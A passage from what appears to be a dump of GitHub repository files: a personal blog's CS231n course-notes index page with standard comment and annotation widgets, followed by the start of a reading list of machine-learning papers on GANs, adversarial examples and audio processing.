\"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n" }, { "alpha_fraction": 0.7199147939682007, "alphanum_fraction": 0.7477559447288513, "avg_line_length": 41.11538314819336, "blob_id": "c5fef19cb9e7a0394033eeda812c19d9d4e26142", "content_id": "1f606b8bce802f72ffe3660513ef45b0c6ee88fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6921, "license_type": "no_license", "max_line_length": 1388, "num_lines": 156, "path": "/blog/cs231n/index.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n\ndate: 2018-08-22\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n[TOC]\n\n# CS231n: Convolutional Neural Networks for Visual Recognition\n\n> ### Course Description\n>\n> Computer Vision has become ubiquitous in our society, with applications in search, image understanding, apps, mapping, medicine, drones, and self-driving cars. Core to many of these applications are visual recognition tasks such as image classification, localization and detection. Recent developments in neural network (aka โ€œdeep learningโ€) approaches have greatly advanced the performance of these state-of-the-art visual recognition systems. This course is a deep dive into details of the deep learning architectures with a focus on learning end-to-end models for these tasks, particularly image classification. During the 10-week course, students will learn to implement, train and debug their own neural networks and gain a detailed understanding of cutting-edge research in computer vision. The final assignment will involve training a multi-million parameter convolutional neural network and applying it on the largest image classification dataset (ImageNet). We will focus on teaching how to set up the problem of image recognition, the learning algorithms (e.g. backpropagation), practical engineering tricks for training and fine-tuning the networks and guide the students through hands-on assignments and a final course project. Much of the background and materials of this course will be drawn from the [ImageNet Challenge](http://image-net.org/challenges/LSVRC/2014/index).\n>\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผš<http://cs231n.stanford.edu/index.html>\n\n\n\n## Original Works\n\n- [ไธ€ๆฎตๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœ็š„ๆ•…ไบ‹](./cs231n_story_MLP.html)๏ผˆ**Original**๏ผŒ30671ๅญ— + ๅคšๅ›พ๏ผ‰\n\n---\n\n## Notes from Lecture Video and Slices\n\n- [Lecture 1. Computer vision overview & Historical context](./cs231n_1.html)\n- [Lecture 2. Image Classification & K-nearest neighbor](./cs231n_2.html)\n- [Lecture 3. Loss Functions and Optimization](./cs231n_3.html)\n- [Lecture 4. Introduction to Neural Networks](./cs231n_4.html)\n- [Lecture 5. Convolutional Neural Networks](./cs231n_5.html)\n- [Lecture 6. Training Neural Networks, part I](./cs231n_6.html)\n- [Lecture 7. Training Neural Networks, part II](./cs231n_7.html)\n- [Lecture 8. Deep Learning Hardware and Software](./cs231n_8.html)\n- [Lecture 9. CNN Architectures](./cs231n_9.html)\n- [Lecture 10. Recurrent Neural Networks](./cs231n_10.html)\n- [Lecture 11. Detection and Segmentation](./cs231n_11.html)\n- [Lecture 12. Generative Models](./cs231n_12.html)\n- [Lecture 13. Visualizing and Understanding](./cs231n_13.html)\n- [Lecture 14. Deep Reinforcement Learning](./cs231n_14.html)\n\n---\n\n- [Guest Lecture. Efficient Methods and Hardware for Deep Learning](./cs231n_Efficient Methods and Hardware for Deep Learning.html) by [**Song Han**](https://stanford.edu/~songhan/) (Spring 2017)\n- [Guest Lecture. Adversarial Examples and Adversarial Training](./cs231n_Guest Lecture. Adversarial Examples and Adversarial Training.html) by [**Ian Goodfellow**](http://www.iangoodfellow.com/) (Spring 2017)\n\n---\n\n\n\n## Course Notes\n\n- [ๅ›พๅƒๅˆ†็ฑป็ฌ”่ฎฐ](./CS231n_image_classification_note.html)\n\n > L1/L2 distances, hyperparameter search, cross-validation\n\n- [็บฟๆ€งๅˆ†็ฑป็ฌ”่ฎฐ](./CS231n_linear_classification_note.html)\n\n > parameteric approach, bias trick, hinge loss, cross-entropy loss, L2 regularization, web demo\n\n- [ๆœ€ไผ˜ๅŒ–็ฌ”่ฎฐ](./CS231n_optimization_note.html)\n\n > optimization landscapes, local search, learning rate, analytic/numerical gradient\n\n- [ๅๅ‘ไผ ๆ’ญ็ฌ”่ฎฐ](./CS231n_backprop_notes.html)\n\n > chain rule interpretation, real-valued circuits, patterns in gradient flow\n\n- [ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ฌ”่ฎฐ](./CS231n_ConvNet_notes.html)\n\n > layers, spatial arrangement, layer patterns, layer sizing patterns, AlexNet/ZFNet/VGGNet case studies, computational considerations\n\n- [็ฅž็ป็ฝ‘็ปœ็ฌ”่ฎฐ1](./CS231n_Neural_Nets_notes_1.html)\n\n > model of a biological neuron, activation functions, neural net architecture, representational power\n\n- [็ฅž็ป็ฝ‘็ปœ็ฌ”่ฎฐ2](./CS231n_Neural_Nets_notes_2.html)\n\n > preprocessing, weight initialization, batch normalization, regularization (L2/dropout), loss functions\n\n- [็ฅž็ป็ฝ‘็ปœ็ฌ”่ฎฐ3](./CS231n_Neural_Nets_notes_3.html)\n\n > gradient checks, sanity checks, babysitting the learning process, momentum (+nesterov), second-order methods, Adagrad/RMSprop, hyperparameter optimization, model ensembles\n\n- [ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœๆƒŠไบบ็š„ๆœ‰ๆ•ˆๆ€ง](./The Unreasonable Effectiveness of Recurrent Neural Networks.html)\n\n > From: [Andrej Karpathy blog](http://karpathy.github.io/)'s ใ€ŠThe Unreasonable Effectiveness of Recurrent Neural Networks (2015)ใ€‹\n\n---\n\n\n\n## How to Comment\n\nWith use of theย [hypothes.is](https://hypothes.is/)ย extension (right-sided), you can highlight, annote any comments and discuss these notes inline*at any pages*and *posts*.\n\n*Please Feel Free*ย to Let Me Know and *Share*ย it Here.\n\n\n\n\n\n> ### Memo to myself\n>\n> - [ ] ๆ นๆฎ่‹ฑๆ–‡ๅญ—ๅน•ๆ›ดๆ–ฐ Spring 2018 ่ง†้ข‘ๅ†…็š„่ฏพ็จ‹ๅ†…ๅฎน\n> - [ ] ๅฎŒๅ–„ๅ’Œๆ›ดๆ–ฐๆ‰€ๆœ‰ๆๅŠ็š„ๆ–‡็Œฎ paper\n> - [ ] ๅฐฝๅฏ่ƒฝๅฐ†ๅ›พ็‰‡ๅŒ–ๅ†…ๅฎนไฟกๆฏๆ”นๅ†™ไธบๆ–‡ๆœฌ markdown\n> - [ ] ้œ€่ฆ็ป†่‡ด๏ผŒๅฎŒๆ•ด็š„็ป™ๅ‡บๆ’ๅ›พไปฅๅŠ Slide ็ญ‰ๆฅๆบๆˆ–ไฝœ่€…ไฟกๆฏใ€‚\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./index.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.6430497765541077, "alphanum_fraction": 0.737542986869812, "avg_line_length": 95.83731079101562, "blob_id": "85fb87db958c99ccaad7dac3cb407845a1e9cb7b", "content_id": "5a093071608945bf7f5b133aaab2444ca48d9e1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 65404, "license_type": "no_license", "max_line_length": 618, "num_lines": 670, "path": "/blog/paper_summary/APaperADay.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: A Paper A Day\ndate: 2018-09-28\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ Paper Summary](./index.html)\n\n---\n\n![](https://i.loli.net/2018/09/28/5bad80bf9e4bf.png)\n\n---\n\n\n\n# :pencil2: A Paper A Day\n\n> Felt like I wasnโ€™t reading enough โ€“ and what I was reading wasnโ€™t sinking in enough. I also wanted to keep track of my sources in a more controlled manner. As a part of adding everything to my JabRef (maybeโ€ฆ), I figured I would write up my comments on papers. \n>\n> The goal is to read and comment once a day and this [post](./APaperADay.html) will be updated day by day according to the reading process.\n\n[TOC]\n\n## :repeat: Generative Models\n\n**Object Discovery with a Copy-Pasting GAN**. Relja Arandjelovic, Andrew Zisserman [DeepMind] (2019) [arXiv:1905.11369](https://arxiv.org/abs/1905.11369)\n\n**Image Generation from Small Datasets via Batch Statistics Adaptation**. A Noguchi, T Harada [The University of Tokyo] (2019) [arXiv:1904.01774](https://arxiv.org/abs/1904.01774)\n\n**A Three-Player GAN: Generating Hard Samples To Improve Classification Networks**. S Vandenhende, B D Brabandere, D Neven, L V Gool [KU Leuven] (2019) [arXiv:1903.03496](https://arxiv.org/abs/1903.03496)\n\n**O-GAN: Extremely Concise Approach for Auto-Encoding Generative Adversarial Networks**. Jianlin Su [Sun Yat-sen University] (2019) [arXiv:1903.01931](https://arxiv.org/abs/1903.01931) [Reddit](https://www.reddit.com/r/MachineLearning/comments/axw4aw/ogan_extremely_concise_approach_for_autoencoding/) [PaperWeekly](https://mp.weixin.qq.com/s?__biz=MzIwMTc4ODE0Mw==&mid=2247495491&idx=1&sn=978f0afeb0b38affe54fc9e6d6086e3c)\n\n**AVP: Physics-informed Data Generation for Small-data Learning**. J Chen, Y Xie, K Wang, C Zhang, M A. Vannan, B Wang, Z Qian [Georgia Institute of Technology] (2019) [arXiv:1902.01522](https://arxiv.org/abs/1902.01522)\n\n**A Layer-Based Sequential Framework for Scene Generation with GANs**. M O Turkoglu, W Thong, L Spreeuwers, B Kicanaoglu [University of Twente & University of Amsterdam] (2019) [arXiv:1902.00671](https://arxiv.org/abs/1902.00671) [Github](https://github.com/0zgur0/Seq_Scene_Gen)\n\n**Perturbative GAN: GAN with Perturbation Layers**. Y Kishi, T Ikegami, S O'uchi, R Takano, W Nogami, T Kudoh [National Institute of Advanced Industrial Science and Technology, Tsukuba, Japan & The University of Tokyo] (2019) [arXiv:1902.01514](https://arxiv.org/abs/1902.01514)\n\n**HyperGAN: A Generative Model for Diverse, Performant Neural Networks**. N Ratzlaff, L Fuxin [Oregon State University] (2019) [arXiv:1901.11058](https://arxiv.org/abs/1901.11058)\n\n**Lie Group Auto-Encoder**. L Gong, Q Cheng [University of Kentucky] (2019) [arXiv:1901.09970](https://arxiv.org/abs/1901.09970)\n\n**Maximum Entropy Generators for Energy-Based Models**. Rithesh Kumar, Anirudh Goyal, Aaron Courville, Yoshua Bengio [Mila & CIFAR & IVADO] (2019) [arXiv:1901.08508](https://arxiv.org/abs/1901.08508) [Reddit](https://www.reddit.com/r/MachineLearning/comments/ak1if1/r_maximum_entropy_generators_for_energybased/) [PaperWeekly](https://mp.weixin.qq.com/s?__biz=MzIwMTc4ODE0Mw==&mid=2247494846&idx=1&sn=0b1bdd770672f038d79b76cc31c1cbb4) [PaperWeekly](https://mp.weixin.qq.com/s/uGuywTY33SrYERDO522N1Q)\n\n**MAD-GAN: Multivariate Anomaly Detection for Time Series Data with Generative Adversarial Networks**. D Li, D Chen, L Shi, B Jin, J Goh, S Ng [National University of Singapore & UC Berkeley & ST Electronics (Info Security) Pte Ltd] (2019) [arXiv:1901.04997](https://arxiv.org/abs/1901.04997)\n\n**On Finding Local Nash Equilibria (and Only Local Nash Equilibria) in Zero-Sum Games**. E V. Mazumdar, M I. Jordan, S. S Sastry [UC Berkeley] (2019) [arXiv:1901.00838](https://arxiv.org/abs/1901.00838)\n\n**Evaluating Generative Adversarial Networks on Explicitly Parameterized Distributions**. S O'Brien, M Groh, A Dubey [MIT] (2018) [arXiv:1812.10782](https://arxiv.org/abs/1812.10782) [Github](https://github.com/shayneobrien/explicit-gan-eval)\n\n**InstaGAN: Instance-aware Image-to-Image Translation**. S Mo, M Cho, J Shin [Korea Advanced Institute of Science and Technology (KAIST) & Pohang University of Science and Technology (POSTECH)] (2018) [arXiv:1812.10889](https://arxiv.org/abs/1812.10889) [OpenReview.net](https://openreview.net/forum?id=ryxwJhC9YX) [Github](https://github.com/sangwoomo/instagan) [ๆœบๅ™จไน‹ๅฟƒ](https://www.jiqizhixin.com/articles/2019-01-02-17)\n\n**Improving Generalization and Stability of Generative Adversarial Networks**. H Thanh-Tung, T Tran, S Venkatesh [Deakin University] (ICLR 2018) [OpenReview.net](https://openreview.net/forum?id=ByxPYjC5KQ) [Github](https://github.com/LMescheder/GAN_stability)\n\n**Finger-GAN: Generating Realistic Fingerprint Images Using Connectivity Imposed GAN**. S Minaee, A Abdolrashidi [New York University & University of California, Riverside] (2018) [arXiv:1812.10482](https://arxiv.org/abs/1812.10482) \n\n**Generative Models from the perspective of Continual Learning**. T Lesort, H Caselles-Duprรฉ, M Garcia-Ortiz, A Stoian, D Filliat [Flowers Team (ENSTA ParisTech & INRIA)] (2018) [arXiv:1812.09111](https://arxiv.org/abs/1812.09111) [Github](https://github.com/TLESORT/Generative_Continual_Learning) [OpenReview.net](https://openreview.net/forum?id=S1eFtj0cKQ)\n\n**A Probe into Understanding GAN and VAE models**. J Zhang, L Mi, M Shen [MIT] (2018) [arXiv:1812.05676](https://arxiv.org/abs/1812.05676)\n\n**A Style-Based Generator Architecture for Generative Adversarial Networks**. T Karras, S Laine, T Aila [NVIDIA] (2018) [arXiv:1812.04948](https://arxiv.org/abs/1812.04948) [Code](https://docs.google.com/document/d/1SDbnM1nxLZNuwD8fQkIigUve_SlihgoCmvjN3e388Us/edit) [YouTube](https://www.youtube.com/watch?v=kSLJriaOumA) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650753854&idx=4&sn=683d862b174cb26c01c1e4d7541498d7)\n\n**Intra-class Variation Isolation in Conditional GANs**. R T. Marriott, S Romdhani, L Chen [Ecole Centrale de Lyon & IDEMIA] (2018) [arXiv:1811.11296](https://arxiv.org/abs/1811.11296)\n\n**Metropolis-Hastings Generative Adversarial Networks**. R Turner, J Hung, Y Saatci, J Yosinski [Uber AI Labs] (2018) [arXiv:1811.11357](https://arxiv.org/abs/1811.11357) [Github](https://github.com/uber-research/metropolis-hastings-gans) [Blog](https://eng.uber.com/mh-gan/)\n\n**Label-Noise Robust Generative Adversarial Networks**. Takuhiro Kaneko, Yoshitaka Ushiku, Tatsuya Harada [The University of Tokyo & RIKEN] (2018) [arXiv:1811.11165](https://arxiv.org/abs/1811.11165)\n\n**Do GAN Loss Functions Really Matter?**. Y Qin, N Mitra, P Wonka [KAUST & UCL] (2018) [arXiv:1811.09567](https://arxiv.org/abs/1811.09567) [Reddit](https://www.reddit.com/r/MachineLearning/comments/a0p9wg/r_do_gan_loss_functions_really_matter/)\n\n**Copy the Old or Paint Anew? An Adversarial Framework for (non-) Parametric Image Stylization**. N Jetchev, U Bergmann, G Yildirim [Zalando Research] (2018) [arXiv:1811.09236](https://arxiv.org/abs/1811.09236) [GitHub](https://github.com/zalandoresearch/famos)\n\n**Guiding the One-to-one Mapping in CycleGAN via Optimal Transport**. G Lu, Z Zhou, Y Song, K Ren, Y Yu [Shanghai Jiao Tong University] (2018) [arXiv:1811.06284](https://arxiv.org/abs/1811.06284)\n\n**NEMGAN: Noise Engineered Mode-matching GAN**. D Mishra, P AP, A J, P Pandey, S Chaudhury [Indian Institute of Technology Delhi] (2018) [arXiv:1811.03692](https://arxiv.org/abs/1811.03692) [GitHub](https://github.com/NEMGAN/NEMGAN)\n\n**Bias and Generalization in Deep Generative Models: An Empirical Study**. S Zhao, H Ren, A Yuan, J Song, N Goodman, S Ermon [Stanford University] ([ICML2018](https://sites.google.com/view/tadgm/home?authuser=0)) [arXiv:1811.03259](https://arxiv.org/abs/1811.03259) [GitHub](https://github.com/ermongroup/BiasAndGeneralization)\n\n**Language GANs Falling Short**. Massimo Caccia, Lucas Caccia, William Fedus, Hugo Larochelle, Joelle Pineau, Laurent Charlin [MILA, Universiteฬ de Montreฬal & MILA, McGill University & MILA, HEC Montreฬal & Google Brain & Facebook AI Research] (2018) [arXiv:1811.02549](https://arxiv.org/abs/1811.02549v3)\n\n**CariGANs: Unpaired Photo-to-Caricature Translation**. K Cao, J Liao, L Yuan [Tsinghua University & Microsoft Research] (2018) [arXiv:1811.00222](https://arxiv.org/abs/1811.00222) [Blog](https://cari-gan.github.io) [App](https://ai.stanford.edu/~kaidicao/cari-gan/index.html) [YouTube](https://www.youtube.com/watch?v=V6G717ewUuw)\n\n**Large Scale GAN Training for High Fidelity Natural Image Synthesis** | [OpenReview](https://openreview.net/forum?id=B1xsqj09Fm). (2018) [More examples](https://drive.google.com/drive/folders/1lWC6XEPD0LT5KUnPXeve_kWeY-FxH002) [BigGAN Demo(Colab Notebook)](https://colab.research.google.com/github/tensorflow/hub/blob/master/examples/colab/biggan_generation_with_tf_hub.ipynb#scrollTo=Cd1dhL4Ykbm7) \n\n**Generative adversarial networks and adversarial methods in biomedical image analysis**. J M. Wolterink, K Kamnitsas, C Ledig, I Iลกgum [University Medical Center Utrecht & Imperial College London & Imagen Technologies] (2018) [arXiv:1810.10352](https://arxiv.org/abs/1810.10352)\n\n**Do Deep Generative Models Know What They Don't Know?**. E Nalisnick, A Matsukawa, Y W Teh, D Gorur, B Lakshminarayanan [DeepMind] (2018) [arXiv:1810.09136](https://arxiv.org/abs/1810.09136)\n\n**Discriminator Rejection Sampling**. Samaneh Azadi, Catherine Olsson, Trevor Darrell, Ian Goodfellow, Augustus Odena [UC Berkeley & Google Brain]. [arXiv:1810.06758](https://arxiv.org/abs/1810.06758)\n\n**Refacing: reconstructing anonymized facial features using GANs**. D Abramian, A Eklund [Linkoping University] (2018) [arXiv:1810.06455](https://arxiv.org/abs/1810.06455)\n\n**ClusterGAN : Latent Space Clustering in Generative Adversarial Networks**. S Mukherjee, H Asnani, E Lin, S Kannan [University of Washington] (2018) [arXiv:1809.03627](https://arxiv.org/abs/1809.03627)\n\n**Whispered-to-voiced Alaryngeal Speech Conversion with Generative Adversarial Networks**. Santiago Pascual, Antonio Bonafonte, Joan Serrร , Jose A. Gonzalez [Universitat Polite`cnica de Catalunya & Telefo ฬnica Research & Universidad de Ma ฬlaga, Spain] (2018) [arXiv:1808.10687](https://arxiv.org/abs/1808.10687)\n\n**The relativistic discriminator: a key element missing from standard GAN**. Alexia Jolicoeur-Martineau [Lady Davis Institute Montreal, Canada] (2018) [arXiv:1807.00734](https://arxiv.org/abs/1807.00734)\n\n**Exploring Disentangled Feature Representation Beyond Face Identification**. Yu Liu, Fangyin Wei, Jing Shao, Lu Sheng, Junjie Yan, Xiaogang Wang [The Chinese University of Hong Kong, SenseTime Group Limited, Peking University] (2018) [arXiv:1804.03487](https://arxiv.org/abs/1804.03487)\n\n**Evolutionary Generative Adversarial Networks**. Chaoyue Wang, Chang Xu, Xin Yao, Dacheng Tao [2018] [arXiv:1803.00657](https://arxiv.org/abs/1803.00657) [PaperWeekly](https://www.paperweekly.site/papers/2904)\n\n**Do GANs learn the distribution? Some Theory and Empirics**. Sanjeev Arora, Andrej Risteski, Yi Zhang [Princeton University & MIT] (ICLR 2018) [OpenReview.net](https://openreview.net/forum?id=BJehNfW0-)\n\n**Do GANs actually learn the distribution? An empirical study**. Sanjeev Arora, Yi Zhang [] (2017) [arXiv:1706.08224](https://arxiv.org/abs/1706.08224) [Reddit](https://www.reddit.com/r/MachineLearning/comments/6jxes2/r_170608224_do_gans_actually_learn_the/) [Blog](http://www.offconvex.org/2017/07/06/GANs3/)\n\n**Generalization and Equilibrium in Generative Adversarial Nets (GANs)**. S Arora, R Ge, Y Liang, T Ma, Y Zhang [Princeton University & Duke University] (2017) [arXiv:1703.00573](https://arxiv.org/abs/1703.00573) [Blog](http://www.offconvex.org/2017/03/30/GANs2/) [Reddit](https://www.reddit.com/r/MachineLearning/comments/637u1l/r_generalization_and_equilibrium_in_generative/)\n\n**InfoGAN: Interpretable Representation Learning by Information Maximizing Generative Adversarial Nets**. X Chen, Y Duan, R Houthooft, J Schulman, I Sutskever, P Abbeel [UC Berkeley & OpenAI] (2016) [arXiv:1606.03657](https://arxiv.org/abs/1606.03657) [Reddit](https://www.reddit.com/r/MachineLearning/comments/4o4shk/160603657_infogan_interpretable_representation/) \n\n**Improved Techniques for Training GANs**. Tim Salimans, Ian Goodfellow, Wojciech Zaremba, Vicki Cheung, Alec Radford, Xi Chen [OpenAI] (2016) [arXiv:1606.03498](https://arxiv.org/abs/1606.03498) [Github](https://github.com/openai/improved-gan) [Reddit](https://www.reddit.com/r/MachineLearning/comments/4o0aj9/160603498_improved_techniques_for_training_gans/) [Github](https://github.com/openai/InfoGAN) [PyTorch](https://github.com/Natsu6767/InfoGAN-PyTorch)\n\n\n\n## :facepunch: Adversarial Examples/Attacks\n\n**GanDef: A GAN based Adversarial Training Defense for Neural Network Classifier**. G Liu, I Khalil, A Khreishah [New Jersey Institute of Technology & Qatar Computing Research Institute] (2019) https://arxiv.org/abs/1903.02585\n\n**Adversarial Attacks on Time Series**. Fazle Karim, Somshubra Majumdar, Houshang Darabi [โ€ฆ] (2019) [arXiv:1902.10755](https://arxiv.org/abs/1902.10755)\n\n**On Evaluating Adversarial Robustness**. N Carlini, A Athalye, N Papernot, W Brendel, J Rauber, D Tsipras, I Goodfellow, A Madry [Google Brain & MIT & University of Tรผbingen] (2019) [arXiv:1902.06705](https://arxiv.org/abs/1902.06705) [Github](https://github.com/evaluating-adversarial-robustness/adv-eval-paper) [Reddit](https://www.reddit.com/r/MachineLearning/comments/as2yhj/r_on_evaluating_adversarial_robustness/)\n\n**Adversarial Examples Are a Natural Consequence of Test Error in Noise**. Nic Ford, Justin Gilmer, Nicolas Carlini, Dogus Cubuk [Google AI Residency] (2019) [arXiv:1901.10513](https://arxiv.org/abs/1901.10513) [Reddit](https://www.reddit.com/r/MachineLearning/comments/alppkp/190110513_adversarial_examples_are_a_natural/)\n\n**Towards a Deeper Understanding of Adversarial Losses**. H Dong, Y Yang [Academia Sinica] (2019) [arXiv:1901.08753](https://arxiv.org/abs/1901.08753) [Github](https://github.com/salu133445/dan) [Blog](https://salu133445.github.io/dan/)\n\n**Image Transformation can make Neural Networks more robust against Adversarial Examples**. D D Thang, T Matsui [Institute of Information Security] (2019) [arXiv:1901.03037](https://arxiv.org/abs/1901.03037)\n\n**Multi-Label Adversarial Perturbations**. Q Song, H Jin, X Huang, X Hu [Texas A&M University] (2019) [arXiv:1901.00546](https://arxiv.org/abs/1901.00546)\n\n**Adversarial Transfer Learning**. G Wilson, D J. Cook [Washington State University] (2018) [arXiv:1812.02849](https://arxiv.org/abs/1812.02849)\n\n**Defensive Dropout for Hardening Deep Neural Networks under Adversarial Attacks**. S Wang, X Wang, P Zhao, W Wen, D Kaeli, P Chin, X Lin [Northeastern University & Boston university & Florida International University] (2018) [arXiv:1809.05165](https://arxiv.org/abs/1809.05165)\n\n**Are adversarial examples inevitable?**. A Shafahi, W. R Huang, C Studer, S Feizi, T Goldstein (2018) [arXiv:1809.02104](https://arxiv.org/abs/1809.02104)\n\n**Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples**. Anish Athalye, Nicholas Carlini, David Wagner [MIT & Berkeley] (2018) [arXiv:1802.00420](https://arxiv.org/abs/1802.00420) [Github](https://github.com/anishathalye/obfuscated-gradients)\n\n**Generating Natural Adversarial Examples**. Z Zhao, D Dua, S Singh [University of California, Irvine] (2017) [arXiv:1710.11342](https://arxiv.org/abs/1710.11342) [Github](https://github.com/zhengliz/natural-adversary) [comment]\n\n\n\n\n\n## :musical_note: Sound & Signal Processing\n\n**MelNet: A Generative Model for Audio in the Frequency Domain**. Sean Vasquez, Mike Lewis [Facebook AI Research] (2019) [arXiv:1906.01083](https://arxiv.org/abs/1906.01083) [Blog](https://sjvasquez.github.io/blog/melnet/) [Audio Samples](https://audio-samples.github.io) [Facebook้ข‘่ฐฑๅ›พๆจกๅž‹็”Ÿๆˆๆฏ”ๅฐ”ยท็›–่Œจๅฃฐ้Ÿณ๏ผŒๆ€ง่ƒฝๅฎŒ่ƒœWaveNetใ€MAESTRO](https://mp.weixin.qq.com/s/HubxAFbxCdoaFHNOhfm9QQ)\n\n**Time Series Anomaly Detection Using Convolutional Neural Networks and Transfer Learning**. T Wen, R Keyes [Arundo Analytics] (2019) [arXiv:1905.13628](https://arxiv.org/abs/1905.13628)\n\n**VoiceFilter: Targeted Voice Separation by Speaker-Conditioned Spectrogram Masking**. Q Wang, H Muckenhirn, K Wilson, P Sridhar, Z Wu, J Hershey, R A. Saurous, R J. Weiss, Y Jia, I L Moreno [Google & Idiap Research Institute] (2018) [arXiv:2018:04826](https://arxiv.org/abs/1810.04826) [Home](https://google.github.io/speaker-id/publications/VoiceFilter/) [VentureBeat](https://venturebeat.com/2018/10/12/google-researchers-use-ai-to-pick-out-voices-in-a-crowd/) [Tproger](https://tproger.ru/news/google-pick-out-voice/) [ๆœบๅ™จไน‹ๅฟƒ](https://www.jiqizhixin.com/articles/2018-10-17-8) [ๆ–ฐๆ™บๅ…ƒ](https://wallstreetcn.com/articles/3419688)\n\n**Phase-aware Speech Enhancement with Deep Complex U-Net**. H Choi, J Kim, J Huh, A Kim, J Ha, K Lee [Seoul National University & NAVER Corp] (2019) [arXiv:1903.03107](https://arxiv.org/abs/1903.03107) [Home](http://www.deepcomplexunet.tk) [OpenReview.net](https://openreview.net/forum?id=SkeRTsAcYm)\n\n**A Deep Generative Model of Speech Complex Spectrograms**. A A Nugraha, K Sekiguchi, K Yoshii [RIKEN Center for Advanced Intelligence Project (AIP) & Kyoto University] (2019) [arXiv:1903.03269](https://arxiv.org/abs/1903.03269)\n\n**Utterance-level Aggregation For Speaker Recognition In The Wild**. W Xie, A Nagrani, J S Chung, A Zisserman [University of Oxford] (2019) [arXiv:1902.10107](https://arxiv.org/abs/1902.10107) [Blog](http://www.robots.ox.ac.uk/~vgg/research/speakerID/)\n\n**catch22: CAnonical Time-series CHaracteristics**. C H Lubba, S S Sethi, P Knaute, S R Schultz, B D Fulcher, N S Jones [Imperial College London] (2019) [arXiv:1901.10200](https://arxiv.org/abs/1901.10200) [Github](https://github.com/chlubba/op_importance)\n\n**End-to-End Probabilistic Inference for Nonstationary Audio Analysis**. W J. Wilkinson, M R Andersen, J D. Reiss, D Stowell, A Solin [Queen Mary University of London & Aalto University] (2019) [arXiv:1901.11436](https://arxiv.org/abs/1901.11436)\n\n**Unsupervised speech representation learning using WaveNet autoencoders**. J Chorowski, R J. Weiss, S Bengio, A v d Oord [University of Wrocล‚aw & Google Research & DeepMind] (2019) [arXiv:1901.08810](https://arxiv.org/abs/1901.08810)\n\n**Kymatio: Scattering Transforms in Python**. M Andreux, T Angles, G Exarchakis... [PSL Research University & Universite de Montreal & New York University] (2018) [arXiv:1812.11214](https://arxiv.org/abs/1812.11214) [Home](https://www.kymat.io)\n\n**Deep Neural Networks for Automatic Classification of Anesthetic-Induced Unconsciousness**. Konstantinos Patlatzoglou, etc. [etc.] (2018) [PDF](./2018Patlatzoglou-DeepNeuralNetworks.pdf)\n\n**Using Convolutional Neural Networks to Classify Audio Signal in Noisy Sound Scenes**. M.V. Gubin [South Ural State University] (2018 GloSIC) [PDF](https://ieeexplore.ieee.org/abstract/document/8570117) [Github](https://github.com/gubinmv/cnn_in_noisy_scenes)\n\n**Interpretable Convolutional Filters with SincNet**. M Ravanelli, Y Bengio [Universitรฉ de Montrรฉal] (2018) [arXiv:1811.09725](https://arxiv.org/abs/1811.09725) [GitHub](https://github.com/mravanelli/SincNet/)\n\n**A Deep Neural Network for Unsupervised Anomaly Detection and Diagnosis in Multivariate Time Series Data**. C Zhang, D Song, Y Chen, X Feng, C Lumezanu, W Cheng, J Ni, B Zong, H Chen, N V. Chawla [University of Notre Dame & NEC Laboratories America & Columbia University] (2018) [arXiv:1811.08055](https://arxiv.org/abs/1811.08055)\n\n**Stochastic Adaptive Neural Architecture Search for Keyword Spotting**. T Vรฉniat, O Schwander, L Denoyer [Sorbonne Universitรฉ & Facebook AI Research] (2018) [arXiv:1811.06753](https://arxiv.org/abs/1811.06753) [GitHub](https://github.com/TomVeniat/SANAS)\n\n**Unifying Probabilistic Models for Time-Frequency Analysis**. W J. Wilkinson, M R Andersen, J D. Reiss, D Stowell, A Solin [Queen Mary University of London & Aalto University] (2018) [arXiv:1811.02489](https://arxiv.org/abs/1811.02489) 